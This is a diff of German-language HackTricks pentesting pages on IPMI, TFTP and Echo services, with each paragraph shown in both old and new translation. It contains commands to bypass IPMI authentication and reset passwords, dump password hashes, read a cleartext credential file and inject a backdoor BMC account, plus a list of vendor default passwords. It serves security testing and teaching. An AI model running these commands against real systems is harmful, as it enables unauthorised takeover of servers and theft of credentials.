**Standardport**: 623/UDP/TCP (Normalerweise läuft es auf UDP, kann aber auch auf TCP laufen)
**Standardport**: 623/UDP/TCP (Es läuft normalerweise über UDP, kann aber auch über TCP betrieben werden)
## Enumeration
@ -46,67 +47,68 @@ nmap -n -p 623 10.0.0./24
nmap -n-sU -p 623 10.0.0./24
use auxiliary/scanner/ipmi/ipmi_version
```
Sie können die Version mit folgendem Befehl **identifizieren**:
Du kannst die **Version** mit folgendem Befehl **identifizieren**:
```bash
use auxiliary/scanner/ipmi/ipmi_version
nmap -sU --script ipmi-version -p 623 10.10.10.10
```
### IPMI-Schwachstellen
### IPMI-Sicherheitsanfälligkeiten
Im Bereich von IPMI 2.0 wurde eine erhebliche Sicherheitslücke durch Dan Farmer entdeckt, die durch den **Chiffrentyp 0** offenbart wurde. Diese Schwachstelle, die detailliert in [Dan Farmers Forschung](http://fish2.com/ipmi/cipherzero.html) dokumentiert ist, ermöglicht unbefugten Zugriff, wenn ein gültiger Benutzer angegriffen wird, unabhängig vom eingegebenen Passwort. Diese Schwachstelle wurde bei verschiedenen BMCs von Herstellern wie HP, Dell und Supermicro gefunden, was auf ein weit verbreitetes Problem bei allen IPMI 2.0-Implementierungen hinweist.
Im Bereich von IPMI 2.0 wurde von Dan Farmer eine bedeutende Sicherheitsanfälligkeit entdeckt, die eine Schwachstelle durch **Cipher-Typ 0** aufdeckte. Diese Schwachstelle, die detailliert in [Dan Farmers Forschung](http://fish2.com/ipmi/cipherzero.html) dokumentiert ist, ermöglicht unbefugten Zugriff mit jedem Passwort, sofern ein gültiger Benutzer ins Visier genommen wird. Diese Schwäche wurde bei verschiedenen BMCs von Herstellern wie HP, Dell und Supermicro gefunden, was auf ein weit verbreitetes Problem in allen IPMI 2.0-Implementierungen hindeutet.
### **IPMI-Authentifizierungsumgehung über Chiffre 0**
### **IPMI-Authentifizierungsumgehung über Cipher 0**
Um diese Schwachstelle zu erkennen, kann der folgende Metasploit-Hilfsscanner verwendet werden:
```bash
use auxiliary/scanner/ipmi/ipmi_cipher_zero
```
Die Ausnutzung dieser Schwachstelle ist mit `ipmitool` möglich, wie unten gezeigt, was das Auflisten und Ändern von Benutzerpasswörtern ermöglicht:
Die Ausnutzung dieses Fehlers ist mit `ipmitool` möglich, wie unten gezeigt, was das Auflisten und Ändern von Benutzerpasswörtern ermöglicht:
```bash
apt-get install ipmitool # Installation command
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list # Lists users
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123 # Changes password
```
### **IPMI 2.0 RAKP-Authentifizierung: Remote-Passwort-Hash-Abruf**
### **IPMI 2.0 RAKP-Authentifizierung Remote-Passwort-Hash-Abfrage**
Diese Schwachstelle ermöglicht den Abruf von gesalzenen gehashten Passwörtern (MD5 und SHA1) für jeden vorhandenen Benutzernamen. Um diese Schwachstelle zu testen, bietet Metasploit ein Modul an:
Diese Schwachstelle ermöglicht die Abfrage von gesalzenen, gehashten Passwörtern (MD5 und SHA1) für jeden vorhandenen Benutzernamen. Um diese Schwachstelle zu testen, bietet Metasploit ein Modul an:
```bash
msf > use auxiliary/scanner/ipmi/ipmi_dumphashes
```
### **IPMI Anonyme Authentifizierung**
Eine Standardkonfiguration in vielen BMCs ermöglicht den "anonymen" Zugriff, der durch leere Benutzernamen- und Passwortzeichenketten gekennzeichnet ist. Diese Konfiguration kann ausgenutzt werden, um Passwörter von benannten Benutzerkonten mithilfe von `ipmitool` zurückzusetzen:
Eine Standardkonfiguration in vielen BMCs ermöglicht den "anonymen" Zugriff, der durch leere Benutzername- und Passwortzeichenfolgen gekennzeichnet ist. Diese Konfiguration kann ausgenutzt werden, um die Passwörter von benannten Benutzerkonten mit `ipmitool` zurückzusetzen:
```bash
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user list
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user set password 2 newpassword
```
### **Supermicro IPMI Klartext-Passwörter**
Eine kritische Designentscheidung in IPMI 2.0 erfordert die Speicherung von Klartext-Passwörtern innerhalb von BMCs zu Authentifizierungszwecken. Die Speicherung dieser Passwörter von Supermicro an Orten wie `/nv/PSBlock` oder `/nv/PSStore` wirft erhebliche Sicherheitsbedenken auf:
Eine kritische Designentscheidung in IPMI 2.0 erfordert die Speicherung von Klartext-Passwörtern innerhalb von BMCs zu Authentifizierungszwecken. Die Speicherung dieser Passwörter durch Supermicro an Orten wie `/nv/PSBlock` oder `/nv/PSStore` wirft erhebliche Sicherheitsbedenken auf:
```bash
cat /nv/PSBlock
```
### **Supermicro IPMI UPnP-Schwachstelle**
### **Supermicro IPMI UPnP Verwundbarkeit**
Die Einbindung eines UPnP SSDP-Listeners in der IPMI-Firmware von Supermicro, insbesondere auf dem UDP-Port 1900, birgt ein erhebliches Sicherheitsrisiko. Schwachstellen in der Intel SDK für UPnP-Geräte Version 1.3.1, wie von [Rapid7's Offenlegung](https://blog.rapid7.com/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play) detailliert beschrieben, ermöglichen den Root-Zugriff auf das BMC:
Die Einbeziehung eines UPnP SSDP-Listeners in die IPMI-Firmware von Supermicro, insbesondere auf UDP-Port 1900, stellt ein erhebliches Sicherheitsrisiko dar. Verwundbarkeiten im Intel SDK für UPnP-Geräte Version 1.3.1, wie in [Rapid7s Offenlegung](https://blog.rapid7.com/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play) beschrieben, ermöglichen den Root-Zugriff auf das BMC:
```bash
msf> use exploit/multi/upnp/libupnp_ssdp_overflow
```
### Brute Force
**HP randomisiert das Standardpasswort** für sein Produkt **Integrated Lights Out (iLO)** während der Herstellung. Diese Praxis unterscheidet sich von anderen Herstellern, die tendenziell **statische Standardanmeldeinformationen** verwenden. Eine Zusammenfassung der Standardbenutzernamen und -passwörter für verschiedene Produkte wird wie folgt bereitgestellt:
**HP randomisiert das Standardpasswort** für sein **Integrated Lights Out (iLO)** Produkt während der Herstellung. Diese Praxis steht im Gegensatz zu anderen Herstellern, die dazu neigen, **statische Standardanmeldeinformationen** zu verwenden. Eine Zusammenfassung der Standardbenutzernamen und -passwörter für verschiedene Produkte ist wie folgt:
- **HP Integrated Lights Out (iLO)** verwendet ein **werkseitig zufällig generiertes 8-Zeichen-Passwort** als Standardpasswort und bietet somit ein höheres Sicherheitsniveau.
- Produkte wie **Dell's iDRAC, IBM's IMM** und **Fujitsu's Integrated Remote Management Controller** verwenden leicht erratbare Passwörter wie "calvin", "PASSW0RD" (mit einer Null) bzw. "admin".
- Ebenso verwenden **Supermicro IPMI (2.0), Oracle/Sun ILOM** und **ASUS iKVM BMC** einfache Standardanmeldeinformationen, wobei "ADMIN", "changeme" bzw. "admin" als Passwörter dienen.
- **HP Integrated Lights Out (iLO)** verwendet eine **fabrikmäßig randomisierte 8-Zeichen-Zeichenfolge** als Standardpasswort, was ein höheres Sicherheitsniveau zeigt.
- Produkte wie **Dells iDRAC, IBMs IMM** und **Fujitsus Integrated Remote Management Controller** verwenden leicht zu erratende Passwörter wie "calvin", "PASSW0RD" (mit einer Null) und "admin".
- Ebenso verwenden **Supermicro IPMI (2.0), Oracle/Sun ILOM** und **ASUS iKVM BMC** ebenfalls einfache Standardanmeldeinformationen, wobei "ADMIN", "changeme" und "admin" als ihre Passwörter dienen.
## Zugriff auf den Host über BMC
Administrativer Zugriff auf den Baseboard Management Controller (BMC) eröffnet verschiedene Möglichkeiten, auf das Betriebssystem des Hosts zuzugreifen. Ein einfacher Ansatz besteht darin, die Tastatur-, Video- und Mausfunktionalität (KVM) des BMC auszunutzen. Dies kann entweder durch einen Neustart des Hosts zu einer Root-Shell über GRUB (mit `init=/bin/sh`) oder durch das Booten von einer virtuellen CD-ROM als Rettungsdatenträger erfolgen. Solche Methoden ermöglichen eine direkte Manipulation der Festplatte des Hosts, einschließlich dem Einfügen von Hintertüren, der Extraktion von Daten oder anderen erforderlichen Maßnahmen für eine Sicherheitsbewertung. Dies erfordert jedoch einen Neustart des Hosts, was ein erheblicher Nachteil ist. Ohne Neustart ist der Zugriff auf den laufenden Host komplexer und variiert je nach Konfiguration des Hosts. Wenn die physische oder serielle Konsole des Hosts angemeldet bleibt, kann sie leicht über die KVM- oder Serial-over-LAN (sol)-Funktionalitäten des BMCs über `ipmitool` übernommen werden. Die Erforschung der Ausnutzung gemeinsam genutzter Hardwareressourcen wie des I2C-Busses und des Super I/O-Chips ist ein Bereich, der weitere Untersuchungen erfordert.
## Accessing the Host via BMC
## Einbringen von Hintertüren in den BMC vom Host aus
Der administrative Zugriff auf den Baseboard Management Controller (BMC) eröffnet verschiedene Wege, um auf das Betriebssystem des Hosts zuzugreifen. Ein einfacher Ansatz besteht darin, die KVM-Funktionalität des BMC auszunutzen. Dies kann entweder durch einen Neustart des Hosts zu einer Root-Shell über GRUB (unter Verwendung von `init=/bin/sh`) oder durch das Booten von einer virtuellen CD-ROM, die als Rettungsdiskette festgelegt ist, erfolgen. Solche Methoden ermöglichen eine direkte Manipulation der Festplatte des Hosts, einschließlich der Einfügung von Backdoors, Datenextraktion oder anderer notwendiger Maßnahmen für eine Sicherheitsbewertung. Dies erfordert jedoch einen Neustart des Hosts, was ein erhebliches Manko darstellt. Ohne Neustart ist der Zugriff auf den laufenden Host komplexer und variiert je nach Konfiguration des Hosts. Wenn die physische oder serielle Konsole des Hosts angemeldet bleibt, kann sie leicht über die KVM- oder Serial-over-LAN (sol) Funktionen des BMC über `ipmitool` übernommen werden. Die Erforschung der Ausnutzung gemeinsamer Hardware-Ressourcen, wie dem i2c-Bus und dem Super I/O-Chip, ist ein Bereich, der weitere Untersuchungen erfordert.
Nachdem ein Host mit einem BMC kompromittiert wurde, kann die **lokale BMC-Schnittstelle genutzt werden, um einen Hintertür-Benutzeraccount einzufügen**, der eine dauerhafte Präsenz auf dem Server schafft. Dieser Angriff erfordert das Vorhandensein von **`ipmitool`** auf dem kompromittierten Host und die Aktivierung der BMC-Treiberunterstützung. Die folgenden Befehle veranschaulichen, wie ein neuer Benutzeraccount über die lokale Schnittstelle des Hosts in den BMC injiziert werden kann, wodurch die Authentifizierung umgangen wird. Diese Technik ist auf eine Vielzahl von Betriebssystemen anwendbar, einschließlich Linux, Windows, BSD und sogar DOS.
## Introducing Backdoors into BMC from the Host
Nach der Kompromittierung eines Hosts, der mit einem BMC ausgestattet ist, kann die **lokale BMC-Schnittstelle genutzt werden, um ein Backdoor-Benutzerkonto einzufügen**, was eine dauerhafte Präsenz auf dem Server schafft. Dieser Angriff erfordert das Vorhandensein von **`ipmitool`** auf dem kompromittierten Host und die Aktivierung der BMC-Treiberunterstützung. Die folgenden Befehle veranschaulichen, wie ein neues Benutzerkonto in das BMC über die lokale Schnittstelle des Hosts injiziert werden kann, was die Notwendigkeit einer Authentifizierung umgeht. Diese Technik ist auf eine Vielzahl von Betriebssystemen anwendbar, einschließlich Linux, Windows, BSD und sogar DOS.
```bash
ipmitool user list
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
@ -126,20 +128,21 @@ ID Name Callin Link Auth IPMI Msg Channel Priv Limit
* `port:623`
## Referenzen
## References
* [https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/](https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/)
{% hint style="success" %}
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Unterstützen Sie HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
</details>
{% endhint %}

View file

@ -1,27 +1,28 @@
{% hint style="success" %}
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Erlernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Unterstützen Sie HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
</details>
{% endhint %}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
# Grundlegende Informationen
# Grundinformationen
**Trivial File Transfer Protocol (TFTP)** ist ein einfaches Protokoll, das auf **UDP-Port 69** verwendet wird und Dateiübertragungen ohne Authentifizierung ermöglicht. Hervorgehoben in **RFC 1350**, fehlen aufgrund seiner Einfachheit wichtige Sicherheitsfunktionen, was zu einer begrenzten Verwendung im öffentlichen Internet führt. **TFTP** wird jedoch in großen internen Netzwerken weit verbreitet eingesetzt, um **Konfigurationsdateien** und **ROM-Images** an Geräte wie **VoIP-Telefone** zu verteilen, dank seiner Effizienz in diesen spezifischen Szenarien.
**Trivial File Transfer Protocol (TFTP)** ist ein einfaches Protokoll, das auf **UDP-Port 69** verwendet wird und Dateiübertragungen ohne Authentifizierung ermöglicht. In **RFC 1350** hervorgehoben, bedeutet seine Einfachheit, dass es wichtige Sicherheitsmerkmale vermissen lässt, was zu einer begrenzten Nutzung im öffentlichen Internet führt. Dennoch wird **TFTP** in großen internen Netzwerken häufig verwendet, um **Konfigurationsdateien** und **ROM-Images** an Geräte wie **VoIP-Telefone** zu verteilen, dank seiner Effizienz in diesen spezifischen Szenarien.
**TODO**: Informationen darüber bereitstellen, was ein Bittorrent-Tracker ist (Shodan identifiziert diesen Port mit diesem Namen). Wenn Sie weitere Informationen dazu haben, lassen Sie es uns zum Beispiel in der [**HackTricks Telegram-Gruppe**](https://t.me/peass) wissen (oder in einem GitHub-Problem in [PEASS](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)).
**TODO**: Informationen darüber bereitstellen, was ein Bittorrent-Tracker ist (Shodan identifiziert diesen Port mit diesem Namen). Wenn Sie mehr Informationen darüber haben, lassen Sie es uns wissen, zum Beispiel in der [**HackTricks Telegram-Gruppe**](https://t.me/peass) (oder in einem GitHub-Issue in [PEASS](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)).
**Standardport:** 69/UDP
```
@ -30,11 +31,11 @@ PORT STATE SERVICE REASON
```
# Enumeration
TFTP bietet keine Verzeichnisaufstellung, daher wird das Skript `tftp-enum` von `nmap` versuchen, Standardpfade per Brute-Force zu ermitteln.
TFTP bietet keine Verzeichnisauflistung, daher wird das Skript `tftp-enum` von `nmap` versuchen, Standardpfade bruteforcen.
```bash
nmap -n -Pn -sU -p69 -sV --script tftp-enum <IP>
```
## Herunterladen/Hochladen
## Download/Upload
Sie können Metasploit oder Python verwenden, um zu überprüfen, ob Sie Dateien herunterladen/hochladen können:
```bash
@ -57,16 +58,17 @@ client.upload("filename to upload", "/local/path/file", timeout=5)
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Erlernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Unterstütze HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github Repositories einreichen.
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
</details>
{% endhint %}

View file

@ -1,16 +1,17 @@
{% hint style="success" %}
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Erlernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Unterstützen Sie HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
</details>
{% endhint %}
**Try Hard Security Group**
@ -20,10 +21,11 @@ Andere Möglichkeiten, HackTricks zu unterstützen:
***
# Grundlegende Informationen
Ein Echo-Dienst läuft auf diesem Host. Der Echo-Dienst war für Test- und Messzwecke gedacht und kann auf den Protokollen TCP und UDP lauschen. Der Server sendet alle empfangenen Daten unverändert zurück.\
**Es ist möglich, einen Denial-of-Service anzuwenden, indem der Echo-Dienst mit dem Echo-Dienst auf demselben oder einem anderen Rechner verbunden wird**. Aufgrund der übermäßig hohen Anzahl von erzeugten Paketen können die betroffenen Maschinen effektiv außer Betrieb genommen werden.\
# Grundinformationen
Ein Echo-Dienst läuft auf diesem Host. Der Echo-Dienst war für Test- und Messzwecke gedacht und kann sowohl auf TCP- als auch auf UDP-Protokollen hören. Der Server sendet alle empfangenen Daten ohne Modifikation zurück.\
**Es ist möglich, einen Denial of Service zu verursachen, indem man den Echo-Dienst mit dem Echo-Dienst auf demselben oder einem anderen Rechner verbindet**. Aufgrund der übermäßig hohen Anzahl an erzeugten Paketen können die betroffenen Maschinen effektiv außer Betrieb genommen werden.\
Info von [https://www.acunetix.com/vulnerabilities/web/echo-service-running/](https://www.acunetix.com/vulnerabilities/web/echo-service-running/)
**Standardport:** 7/tcp/udp
@ -32,7 +34,7 @@ PORT STATE SERVICE
7/udp open echo
7/tcp open echo
```
## Kontaktiere Echo-Dienst (UDP)
## Kontakt Echo-Dienst (UDP)
```bash
nc -uvn <IP> 7
Hello echo #This is wat you send
@ -42,11 +44,11 @@ Hello echo #This is the response
* `port:7 echo`
## Referenzen
## References
[Wikipedia Echo](http://en.wikipedia.org/wiki/ECHO\_protocol)
[Wikipedia echo](http://de.wikipedia.org/wiki/ECHO\_protocol)
[CA-1996-01 UDP Port Denial-of-Service-Angriff](http://www.cert.org/advisories/CA-1996-01.html)
[CA-1996-01 UDP Port Denial-of-Service Attack](http://www.cert.org/advisories/CA-1996-01.html)
**Try Hard Security Group**
@ -55,16 +57,17 @@ Hello echo #This is the response
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
</details>
{% endhint %}

View file

@ -1,51 +1,34 @@
# 873 - Pentesting Rsync
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) **bei oder folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) **und** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **GitHub-Repositories senden.**
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
